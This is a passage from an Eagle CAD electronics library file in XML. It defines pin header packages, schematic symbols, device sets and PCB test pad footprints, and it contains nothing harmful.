rot=\"R90\"/>\n<pad name=\"21\" x=\"1.27\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"22\" x=\"3.81\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"23\" x=\"6.35\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"24\" x=\"8.89\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"25\" x=\"11.43\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"26\" x=\"13.97\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"27\" x=\"16.51\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"28\" x=\"19.05\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"29\" x=\"21.59\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"30\" x=\"24.13\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"31\" x=\"26.67\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"32\" x=\"29.21\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"33\" x=\"31.75\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"34\" x=\"34.29\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"35\" x=\"36.83\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"36\" x=\"39.37\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"37\" x=\"41.91\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"38\" x=\"44.45\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"39\" x=\"46.99\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"40\" x=\"49.53\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<text x=\"-50.8762\" y=\"1.8288\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-50.8\" y=\"-3.175\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-4.064\" y1=\"-0.254\" x2=\"-3.556\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"-6.604\" y1=\"-0.254\" x2=\"-6.096\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"-9.144\" y1=\"-0.254\" x2=\"-8.636\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"-11.684\" y1=\"-0.254\" x2=\"-11.176\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"-14.224\" y1=\"-0.254\" x2=\"-13.716\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"-16.764\" y1=\"-0.254\" x2=\"-16.256\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"-19.304\" y1=\"-0.254\" x2=\"-18.796\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"-21.844\" y1=\"-0.254\" x2=\"-21.336\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"-24.384\" y1=\"-0.254\" x2=\"-23.876\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"-26.924\" y1=\"-0.254\" x2=\"-26.416\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"-29.464\" y1=\"-0.254\" x2=\"-28.956\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"-32.004\" y1=\"-0.254\" x2=\"-31.496\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"-34.544\" y1=\"-0.254\" x2=\"-34.036\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"-37.084\" y1=\"-0.254\" x2=\"-36.576\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"-39.624\" y1=\"-0.254\" x2=\"-39.116\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"-42.164\" y1=\"-0.254\" x2=\"-41.656\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"-44.704\" y1=\"-0.254\" x2=\"-44.196\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"-47.244\" y1=\"-0.254\" x2=\"-46.736\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"-49.784\" y1=\"-0.254\" x2=\"-49.276\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"-1.524\" y1=\"-0.254\" x2=\"-1.016\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"1.016\" y1=\"-0.254\" x2=\"1.524\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"3.556\" y1=\"-0.254\" x2=\"4.064\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"6.096\" y1=\"-0.254\" x2=\"6.604\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"8.636\" y1=\"-0.254\" x2=\"9.144\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"11.176\" y1=\"-0.254\" x2=\"11.684\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"13.716\" y1=\"-0.254\" x2=\"14.224\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"16.256\" y1=\"-0.254\" x2=\"16.764\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"18.796\" y1=\"-0.254\" x2=\"19.304\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"21.336\" y1=\"-0.254\" x2=\"21.844\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"23.876\" y1=\"-0.254\" x2=\"24.384\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"49.276\" y1=\"-0.254\" x2=\"49.784\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"46.736\" y1=\"-0.254\" x2=\"47.244\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"44.196\" y1=\"-0.254\" x2=\"44.704\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"41.656\" y1=\"-0.254\" x2=\"42.164\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"39.116\" y1=\"-0.254\" x2=\"39.624\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"36.576\" y1=\"-0.254\" x2=\"37.084\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"34.036\" y1=\"-0.254\" x2=\"34.544\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"31.496\" y1=\"-0.254\" x2=\"32.004\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"28.956\" y1=\"-0.254\" x2=\"29.464\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"26.416\" y1=\"-0.254\" x2=\"26.924\" y2=\"0.254\" layer=\"51\"/>\n</package>\n</packages>\n<symbols>\n<symbol name=\"PINH2X3\">\n<wire x1=\"-6.35\" y1=\"-5.08\" x2=\"8.89\" y2=\"-5.08\" width=\"0.4064\" layer=\"94\"/>\n<wire x1=\"8.89\" y1=\"-5.08\" x2=\"8.89\" y2=\"5.08\" width=\"0.4064\" layer=\"94\"/>\n<wire x1=\"8.89\" y1=\"5.08\" x2=\"-6.35\" y2=\"5.08\" width=\"0.4064\" layer=\"94\"/>\n<wire x1=\"-6.35\" y1=\"5.08\" x2=\"-6.35\" y2=\"-5.08\" width=\"0.4064\" layer=\"94\"/>\n<text x=\"-6.35\" y=\"5.715\" size=\"1.778\" layer=\"95\">&gt;NAME</text>\n<text x=\"-6.35\" y=\"-7.62\" size=\"1.778\" layer=\"96\">&gt;VALUE</text>\n<pin name=\"1\" x=\"-2.54\" y=\"2.54\" visible=\"pad\" length=\"short\" direction=\"pas\" function=\"dot\"/>\n<pin name=\"2\" x=\"5.08\" y=\"2.54\" visible=\"pad\" length=\"short\" direction=\"pas\" function=\"dot\" rot=\"R180\"/>\n<pin name=\"3\" x=\"-2.54\" y=\"0\" visible=\"pad\" length=\"short\" direction=\"pas\" function=\"dot\"/>\n<pin name=\"4\" x=\"5.08\" y=\"0\" visible=\"pad\" length=\"short\" direction=\"pas\" function=\"dot\" rot=\"R180\"/>\n<pin name=\"5\" x=\"-2.54\" y=\"-2.54\" visible=\"pad\" length=\"short\" direction=\"pas\" function=\"dot\"/>\n<pin name=\"6\" x=\"5.08\" y=\"-2.54\" visible=\"pad\" length=\"short\" direction=\"pas\" function=\"dot\" rot=\"R180\"/>\n</symbol>\n<symbol name=\"PINHD1\">\n<wire x1=\"-6.35\" y1=\"-2.54\" x2=\"1.27\" y2=\"-2.54\" width=\"0.4064\" layer=\"94\"/>\n<wire x1=\"1.27\" y1=\"-2.54\" x2=\"1.27\" y2=\"2.54\" width=\"0.4064\" layer=\"94\"/>\n<wire x1=\"1.27\" y1=\"2.54\" x2=\"-6.35\" y2=\"2.54\" width=\"0.4064\" layer=\"94\"/>\n<wire x1=\"-6.35\" y1=\"2.54\" x2=\"-6.35\" y2=\"-2.54\" width=\"0.4064\" layer=\"94\"/>\n<text x=\"-6.35\" y=\"3.175\" size=\"1.778\" layer=\"95\">&gt;NAME</text>\n<text x=\"-6.35\" y=\"-5.08\" size=\"1.778\" layer=\"96\">&gt;VALUE</text>\n<pin name=\"1\" x=\"-2.54\" y=\"0\" visible=\"pad\" length=\"short\" direction=\"pas\" function=\"dot\"/>\n</symbol>\n<symbol name=\"PINHD40\">\n<wire x1=\"-6.35\" y1=\"-53.34\" x2=\"1.27\" y2=\"-53.34\" width=\"0.4064\" layer=\"94\"/>\n<wire x1=\"1.27\" y1=\"-53.34\" x2=\"1.27\" y2=\"50.8\" width=\"0.4064\" layer=\"94\"/>\n<wire x1=\"1.27\" y1=\"50.8\" x2=\"-6.35\" y2=\"50.8\" width=\"0.4064\" layer=\"94\"/>\n<wire x1=\"-6.35\" y1=\"50.8\" x2=\"-6.35\" y2=\"-53.34\" width=\"0.4064\" layer=\"94\"/>\n<text x=\"-6.35\" y=\"51.435\" size=\"1.778\" layer=\"95\">&gt;NAME</text>\n<text x=\"-6.35\" y=\"-55.88\" size=\"1.778\" layer=\"96\">&gt;VALUE</text>\n<pin name=\"1\" x=\"-2.54\" y=\"48.26\" visible=\"pad\" length=\"short\" direction=\"pas\" function=\"dot\"/>\n<pin name=\"2\" x=\"-2.54\" y=\"45.72\" visible=\"pad\" length=\"short\" direction=\"pas\" function=\"dot\"/>\n<pin name=\"3\" x=\"-2.54\" y=\"43.18\" visible=\"pad\" length=\"short\" direction=\"pas\" function=\"dot\"/>\n<pin name=\"4\" x=\"-2.54\" y=\"40.64\" visible=\"pad\" length=\"short\" direction=\"pas\" function=\"dot\"/>\n<pin name=\"5\" x=\"-2.54\" y=\"38.1\" visible=\"pad\" length=\"short\" direction=\"pas\" function=\"dot\"/>\n<pin name=\"6\" x=\"-2.54\" y=\"35.56\" visible=\"pad\" length=\"short\" direction=\"pas\" function=\"dot\"/>\n<pin name=\"7\" x=\"-2.54\" y=\"33.02\" visible=\"pad\" length=\"short\" direction=\"pas\" function=\"dot\"/>\n<pin name=\"8\" x=\"-2.54\" y=\"30.48\" visible=\"pad\" length=\"short\" direction=\"pas\" function=\"dot\"/>\n<pin name=\"9\" x=\"-2.54\" y=\"27.94\" visible=\"pad\" length=\"short\" direction=\"pas\" function=\"dot\"/>\n<pin name=\"10\" x=\"-2.54\" y=\"25.4\" visible=\"pad\" length=\"short\" direction=\"pas\" function=\"dot\"/>\n<pin name=\"11\" x=\"-2.54\" y=\"22.86\" visible=\"pad\" length=\"short\" direction=\"pas\" function=\"dot\"/>\n<pin name=\"12\" x=\"-2.54\" y=\"20.32\" visible=\"pad\" length=\"short\" direction=\"pas\" function=\"dot\"/>\n<pin name=\"13\" x=\"-2.54\" y=\"17.78\" visible=\"pad\" length=\"short\" direction=\"pas\" function=\"dot\"/>\n<pin name=\"14\" x=\"-2.54\" y=\"15.24\" visible=\"pad\" length=\"short\" direction=\"pas\" function=\"dot\"/>\n<pin name=\"15\" x=\"-2.54\" y=\"12.7\" visible=\"pad\" length=\"short\" direction=\"pas\" function=\"dot\"/>\n<pin name=\"16\" x=\"-2.54\" y=\"10.16\" visible=\"pad\" length=\"short\" direction=\"pas\" function=\"dot\"/>\n<pin name=\"17\" x=\"-2.54\" y=\"7.62\" visible=\"pad\" length=\"short\" direction=\"pas\" function=\"dot\"/>\n<pin name=\"18\" x=\"-2.54\" y=\"5.08\" visible=\"pad\" length=\"short\" direction=\"pas\" function=\"dot\"/>\n<pin name=\"19\" x=\"-2.54\" y=\"2.54\" visible=\"pad\" length=\"short\" direction=\"pas\" function=\"dot\"/>\n<pin name=\"20\" x=\"-2.54\" y=\"0\" visible=\"pad\" length=\"short\" direction=\"pas\" function=\"dot\"/>\n<pin name=\"21\" x=\"-2.54\" y=\"-2.54\" visible=\"pad\" length=\"short\" direction=\"pas\" function=\"dot\"/>\n<pin name=\"22\" x=\"-2.54\" y=\"-5.08\" visible=\"pad\" length=\"short\" direction=\"pas\" function=\"dot\"/>\n<pin name=\"23\" x=\"-2.54\" y=\"-7.62\" visible=\"pad\" length=\"short\" direction=\"pas\" function=\"dot\"/>\n<pin name=\"24\" x=\"-2.54\" y=\"-10.16\" visible=\"pad\" length=\"short\" direction=\"pas\" function=\"dot\"/>\n<pin name=\"25\" x=\"-2.54\" y=\"-12.7\" visible=\"pad\" length=\"short\" direction=\"pas\" function=\"dot\"/>\n<pin name=\"26\" x=\"-2.54\" y=\"-15.24\" visible=\"pad\" length=\"short\" direction=\"pas\" function=\"dot\"/>\n<pin name=\"27\" x=\"-2.54\" y=\"-17.78\" visible=\"pad\" length=\"short\" direction=\"pas\" function=\"dot\"/>\n<pin name=\"28\" x=\"-2.54\" y=\"-20.32\" visible=\"pad\" length=\"short\" direction=\"pas\" function=\"dot\"/>\n<pin name=\"29\" x=\"-2.54\" y=\"-22.86\" visible=\"pad\" length=\"short\" direction=\"pas\" function=\"dot\"/>\n<pin name=\"30\" x=\"-2.54\" y=\"-25.4\" visible=\"pad\" length=\"short\" direction=\"pas\" function=\"dot\"/>\n<pin name=\"31\" x=\"-2.54\" y=\"-27.94\" visible=\"pad\" length=\"short\" direction=\"pas\" function=\"dot\"/>\n<pin name=\"32\" x=\"-2.54\" y=\"-30.48\" visible=\"pad\" length=\"short\" direction=\"pas\" function=\"dot\"/>\n<pin name=\"33\" x=\"-2.54\" y=\"-33.02\" visible=\"pad\" length=\"short\" direction=\"pas\" function=\"dot\"/>\n<pin name=\"34\" x=\"-2.54\" y=\"-35.56\" visible=\"pad\" length=\"short\" direction=\"pas\" function=\"dot\"/>\n<pin name=\"35\" x=\"-2.54\" y=\"-38.1\" visible=\"pad\" length=\"short\" direction=\"pas\" function=\"dot\"/>\n<pin name=\"36\" x=\"-2.54\" y=\"-40.64\" visible=\"pad\" length=\"short\" direction=\"pas\" function=\"dot\"/>\n<pin name=\"37\" x=\"-2.54\" y=\"-43.18\" visible=\"pad\" length=\"short\" direction=\"pas\" function=\"dot\"/>\n<pin name=\"38\" x=\"-2.54\" y=\"-45.72\" visible=\"pad\" length=\"short\" direction=\"pas\" function=\"dot\"/>\n<pin name=\"39\" x=\"-2.54\" y=\"-48.26\" visible=\"pad\" length=\"short\" direction=\"pas\" function=\"dot\"/>\n<pin name=\"40\" x=\"-2.54\" y=\"-50.8\" visible=\"pad\" length=\"short\" direction=\"pas\" function=\"dot\"/>\n</symbol>\n</symbols>\n<devicesets>\n<deviceset name=\"PINHD-2X3\" prefix=\"JP\" uservalue=\"yes\">\n<description>&lt;b&gt;PIN HEADER&lt;/b&gt;</description>\n<gates>\n<gate name=\"A\" symbol=\"PINH2X3\" x=\"0\" y=\"0\"/>\n</gates>\n<devices>\n<device name=\"\" package=\"2X03\">\n<connects>\n<connect gate=\"A\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"A\" pin=\"2\" pad=\"2\"/>\n<connect gate=\"A\" pin=\"3\" pad=\"3\"/>\n<connect gate=\"A\" pin=\"4\" pad=\"4\"/>\n<connect gate=\"A\" pin=\"5\" pad=\"5\"/>\n<connect gate=\"A\" pin=\"6\" pad=\"6\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"/90\" package=\"2X03/90\">\n<connects>\n<connect gate=\"A\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"A\" pin=\"2\" pad=\"2\"/>\n<connect gate=\"A\" pin=\"3\" pad=\"3\"/>\n<connect gate=\"A\" pin=\"4\" pad=\"4\"/>\n<connect gate=\"A\" pin=\"5\" pad=\"5\"/>\n<connect gate=\"A\" pin=\"6\" pad=\"6\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n</devices>\n</deviceset>\n<deviceset name=\"PINHD-1X1\" prefix=\"JP\" uservalue=\"yes\">\n<description>&lt;b&gt;PIN HEADER&lt;/b&gt;</description>\n<gates>\n<gate name=\"G$1\" symbol=\"PINHD1\" x=\"0\" y=\"0\"/>\n</gates>\n<devices>\n<device name=\"\" package=\"1X01\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n</devices>\n</deviceset>\n<deviceset name=\"PINHD-1X40\" prefix=\"JP\" uservalue=\"yes\">\n<description>&lt;b&gt;PIN HEADER&lt;/b&gt;</description>\n<gates>\n<gate name=\"-1\" symbol=\"PINHD40\" x=\"0\" y=\"0\"/>\n</gates>\n<devices>\n<device name=\"\" package=\"1X40\">\n<connects>\n<connect gate=\"-1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"-1\" pin=\"10\" pad=\"10\"/>\n<connect gate=\"-1\" pin=\"11\" pad=\"11\"/>\n<connect gate=\"-1\" pin=\"12\" pad=\"12\"/>\n<connect gate=\"-1\" pin=\"13\" pad=\"13\"/>\n<connect gate=\"-1\" pin=\"14\" pad=\"14\"/>\n<connect gate=\"-1\" pin=\"15\" pad=\"15\"/>\n<connect gate=\"-1\" pin=\"16\" pad=\"16\"/>\n<connect gate=\"-1\" pin=\"17\" pad=\"17\"/>\n<connect gate=\"-1\" pin=\"18\" pad=\"18\"/>\n<connect gate=\"-1\" pin=\"19\" pad=\"19\"/>\n<connect gate=\"-1\" pin=\"2\" pad=\"2\"/>\n<connect gate=\"-1\" pin=\"20\" pad=\"20\"/>\n<connect gate=\"-1\" pin=\"21\" pad=\"21\"/>\n<connect gate=\"-1\" pin=\"22\" pad=\"22\"/>\n<connect gate=\"-1\" pin=\"23\" pad=\"23\"/>\n<connect gate=\"-1\" pin=\"24\" pad=\"24\"/>\n<connect gate=\"-1\" pin=\"25\" pad=\"25\"/>\n<connect gate=\"-1\" pin=\"26\" pad=\"26\"/>\n<connect gate=\"-1\" pin=\"27\" pad=\"27\"/>\n<connect gate=\"-1\" pin=\"28\" pad=\"28\"/>\n<connect gate=\"-1\" pin=\"29\" pad=\"29\"/>\n<connect gate=\"-1\" pin=\"3\" pad=\"3\"/>\n<connect gate=\"-1\" pin=\"30\" pad=\"30\"/>\n<connect gate=\"-1\" pin=\"31\" pad=\"31\"/>\n<connect gate=\"-1\" pin=\"32\" pad=\"32\"/>\n<connect gate=\"-1\" pin=\"33\" pad=\"33\"/>\n<connect gate=\"-1\" pin=\"34\" pad=\"34\"/>\n<connect gate=\"-1\" pin=\"35\" pad=\"35\"/>\n<connect gate=\"-1\" pin=\"36\" pad=\"36\"/>\n<connect gate=\"-1\" pin=\"37\" pad=\"37\"/>\n<connect gate=\"-1\" pin=\"38\" pad=\"38\"/>\n<connect gate=\"-1\" pin=\"39\" pad=\"39\"/>\n<connect gate=\"-1\" pin=\"4\" pad=\"4\"/>\n<connect gate=\"-1\" pin=\"40\" pad=\"40\"/>\n<connect gate=\"-1\" pin=\"5\" pad=\"5\"/>\n<connect gate=\"-1\" pin=\"6\" pad=\"6\"/>\n<connect gate=\"-1\" pin=\"7\" pad=\"7\"/>\n<connect gate=\"-1\" pin=\"8\" pad=\"8\"/>\n<connect gate=\"-1\" pin=\"9\" pad=\"9\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n</devices>\n</deviceset>\n</devicesets>\n</library>\n<library name=\"testpad\">\n<description>&lt;b&gt;Test Pins/Pads&lt;/b&gt;&lt;p&gt;\nCream on SMD OFF.&lt;br&gt;\nnew: Attribute TP_SIGNAL_NAME&lt;br&gt;\n&lt;author&gt;Created by librarian@cadsoft.de&lt;/author&gt;</description>\n<packages>\n<package name=\"B1,27\">\n<description>&lt;b&gt;TEST PAD&lt;/b&gt;</description>\n<wire x1=\"-0.635\" y1=\"0\" x2=\"0.635\" y2=\"0\" width=\"0.0024\" layer=\"37\"/>\n<wire x1=\"0\" y1=\"0.635\" x2=\"0\" y2=\"-0.635\" width=\"0.0024\" layer=\"37\"/>\n<smd name=\"TP\" x=\"0\" y=\"0\" dx=\"1.27\" dy=\"1.27\" layer=\"1\" roundness=\"100\" cream=\"no\"/>\n<text x=\"-0.635\" y=\"1.016\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-0.635\" y=\"-0.762\" size=\"0.0254\" layer=\"27\">&gt;VALUE</text>\n<text x=\"-0.635\" y=\"-1.905\" size=\"1\" layer=\"37\">&gt;TP_SIGNAL_NAME</text>\n</package>\n<package name=\"B2,54\">\n<description>&lt;b&gt;TEST PAD&lt;/b&gt;</description>\n<wire x1=\"-0.635\" y1=\"0\" x2=\"0.635\" y2=\"0\" width=\"0.0024\" layer=\"37\"/>\n<wire x1=\"0\" y1=\"-0.635\" x2=\"0\" y2=\"0.635\" width=\"0.0024\" layer=\"37\"/>\n<circle x=\"0\" y=\"0\" radius=\"0.635\" width=\"0.254\" layer=\"37\"/>\n<smd name=\"TP\" x=\"0\" y=\"0\" dx=\"2.54\" dy=\"2.54\" layer=\"1\" roundness=\"100\" cream=\"no\"/>\n<text x=\"-1.27\" y=\"1.651\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-1.27\" y=\"-1.397\" size=\"0.0254\" layer=\"27\">&gt;VALUE</text>\n<text x=\"-1.27\" y=\"-3.175\" size=\"1\" layer=\"37\">&gt;TP_SIGNAL_NAME</text>\n</package>\n<package name=\"P1-13\">\n<description>&lt;b&gt;TEST PAD&lt;/b&gt;</description>\n<circle x=\"0\" y=\"0\" radius=\"0.762\" width=\"0.1524\" layer=\"51\"/>\n<pad name=\"TP\" x=\"0\" y=\"0\" drill=\"1.3208\" diameter=\"2.159\" shape=\"octagon\"/>\n<text x=\"-1.016\" y=\"1.27\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"0\" y=\"0\" size=\"0.0254\" layer=\"27\">&gt;VALUE</text>\n<text x=\"-1.27\" y=\"-2.54\" size=\"1\" layer=\"37\">&gt;TP_SIGNAL_NAME</text>\n<rectangle x1=\"-0.3302\" y1=\"-0.3302\" x2=\"0.3302\" y2=\"0.3302\" layer=\"51\"/>\n</package>\n<package name=\"P1-13Y\">\n<description>&lt;b&gt;TEST PAD&lt;/b&gt;</description>\n<circle x=\"0\" y=\"0\" radius=\"0.762\" width=\"0.1524\" layer=\"51\"/>\n<pad name=\"TP\" x=\"0\" y=\"0\" drill=\"1.3208\" diameter=\"1.905\" shape=\"long\" rot=\"R90\"/>\n<text x=\"-0.889\" y=\"2.159\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"0\" y=\"0\" size=\"0.0254\" layer=\"27\">&gt;VALUE</text>\n<text x=\"-1.27\" y=\"-3.81\" size=\"1\" layer=\"37\">&gt;TP_SIGNAL_NAME</text>\n<rectangle x1=\"-0.3302\" y1=\"-0.3302\" x2=\"0.3302\" y2=\"0.3302\" layer=\"51\"/>\n</package>\n<package name=\"P1-17\">\n<description>&lt;b&gt;TEST PAD&lt;/b&gt;</description>\n<circle x=\"0\" y=\"0\" radius=\"0.8128\" width=\"0.1524\" layer=\"51\"/>\n<pad name=\"TP\" x=\"0\" y=\"0\" drill=\"1.7018\" diameter=\"2.54\" shape=\"octagon\"/>\n<text x=\"-1.143\" y=\"1.397\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"0\" y=\"0\" size=\"0.0254\" layer=\"27\">&gt;VALUE</text>\n<text x=\"-1.27\" y=\"-3.175\" size=\"1\" layer=\"37\">&gt;TP_SIGNAL_NAME</text>\n<rectangle x1=\"-0.3302\" y1=\"-0.3302\" x2=\"0.3302\" y2=\"0.3302\" layer=\"51\"/>\n</package>\n<package name=\"P1-17Y\">\n<description>&lt;b&gt;TEST PAD&lt;/b&gt;</description>\n<circle x=\"0\" y=\"0\" radius=\"0.8128\" width=\"0.1524\" layer=\"51\"/>\n<pad name=\"TP\" x=\"0\" y=\"0\" drill=\"1.7018\" diameter=\"2.1208\" shape=\"long\" rot=\"R90\"/>\n<text x=\"-1.143\" y=\"2.286\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"0\" y=\"0\" size=\"0.0254\" layer=\"27\">&gt;VALUE</text>\n<text x=\"-1.27\" y=\"-3.81\" size=\"1\" layer=\"37\">&gt;TP_SIGNAL_NAME</text>\n<rectangle x1=\"-0.3302\" y1=\"-0.3302\" x2=\"0.3302\" y2=\"0.3302\" layer=\"51\"/>\n</package>\n<package name=\"P1-20\">\n<description>&lt;b&gt;TEST PAD&lt;/b&gt;</description>\n<circle x=\"0\" y=\"0\" radius=\"1.016\" width=\"0.1524\" layer=\"51\"/>\n<pad name=\"TP\" x=\"0\" y=\"0\" drill=\"2.0066\" diameter=\"3.1496\" shape=\"octagon\"/>\n<text x=\"-1.524\" y=\"1.778\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"0\" y=\"0\" size=\"0.0254\" layer=\"27\">&gt;VALUE</text>\n<text x=\"-1.27\" y=\"-3.175\" size=\"1\" layer=\"37\">&gt;TP_SIGNAL_NAME</text>\n<rectangle x1=\"-0.3302\" y1=\"-0.3302\" x2=\"0.3302\" y2=\"0.3302\" layer=\"51\"/>\n</package>\n<package name=\"P1-20Y\">\n<description>&lt;b&gt;TEST PAD&lt;/b&gt;</description>\n<circle x=\"0\" y=\"0\" radius=\"1.016\" width=\"0.1524\" layer=\"51\"/>\n<pad name=\"TP\" x=\"0\" y=\"0\" drill=\"2.0066\" diameter=\"2.54\" shape=\"long\" rot=\"R90\"/>\n<text x=\"-1.27\" y=\"2.794\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"0\" y=\"0\" size=\"0.0254\" layer=\"27\">&gt;VALUE</text>\n<text x=\"-1.27\" y=\"-4.445\" size=\"1\" layer=\"37\">&gt;TP_SIGNAL_NAME</text>\n<rectangle x1=\"-0.3302\" y1=\"-0.3302\" x2=\"0.3302\" y2=\"0.3302\" layer=\"51\"/>\n</package>\n<package name=\"TP06R\">\n<description>&lt;b&gt;TEST PAD&lt;/b&gt;</description>\n<smd name=\"TP\" x=\"0\" y=\"0\" dx=\"0.6\" dy=\"0.6\" layer=\"1\" roundness=\"100\" cream=\"no\"/>\n<text x=\"-0.3\" y=\"0.4001\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-0.254\" y=\"-0.381\" size=\"0.0254\" layer=\"27\">&gt;VALUE</text>\n<text x=\"0\" y=\"-1.905\" size=\"1\" layer=\"37\">&gt;TP_SIGNAL_NAME</text>\n</package>\n<package name=\"TP06SQ\">\n<description>&lt;b&gt;TEST PAD&lt;/b&gt;</description>\n<smd name=\"TP\" x=\"0\" y=\"0\" dx=\"0.5996\" dy=\"0.5996\" layer=\"1\" cream=\"no\"/>\n<text x=\"-0.3\" y=\"0.4001\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-0.254\" y=\"-0.381\" size=\"0.0254\" layer=\"27\">&gt;VALUE</text>\n<text x=\"0\" y=\"-1.905\" size=\"1\" layer=\"37\">&gt;TP_SIGNAL_NAME</text>\n</package>\n<package name=\"TP07R\">\n<description>&lt;b&gt;TEST PAD&lt;/b&gt;</description>\n<smd name=\"TP\" x=\"0\" y=\"0\" dx=\"0.7\" dy=\"0.7\" layer=\"1\" roundness=\"100\" cream=\"no\"/>\n<text x=\"-0.3\" y=\"0.4001\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-0.254\" y=\"-0.508\" size=\"0.0254\" layer=\"27\">&gt;VALUE</text>\n<text x=\"0\" y=\"-1.905\" size=\"1\" layer=\"37\">&gt;TP_SIGNAL_NAME</text>\n</package>\n<package name=\"TP07SQ\">\n<description>&lt;b&gt;TEST PAD&lt;/b&gt;</description>\n<smd name=\"TP\" x=\"0\" y=\"0\" dx=\"0.7\" dy=\"0.7\" layer=\"1\" cream=\"no\"/>\n<text x=\"-0.3\" y=\"0.4001\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-0.381\" y=\"-0.381\" size=\"0.0254\" layer=\"27\">&gt;VALUE</text>\n<text x=\"0\" y=\"-1.905\" size=\"1\" layer=\"37\">&gt;TP_SIGNAL_NAME</text>\n</package>\n<package name=\"TP08R\">\n<description>&lt;b&gt;TEST PAD&lt;/b&gt;</description>\n<smd name=\"TP\" x=\"0\" 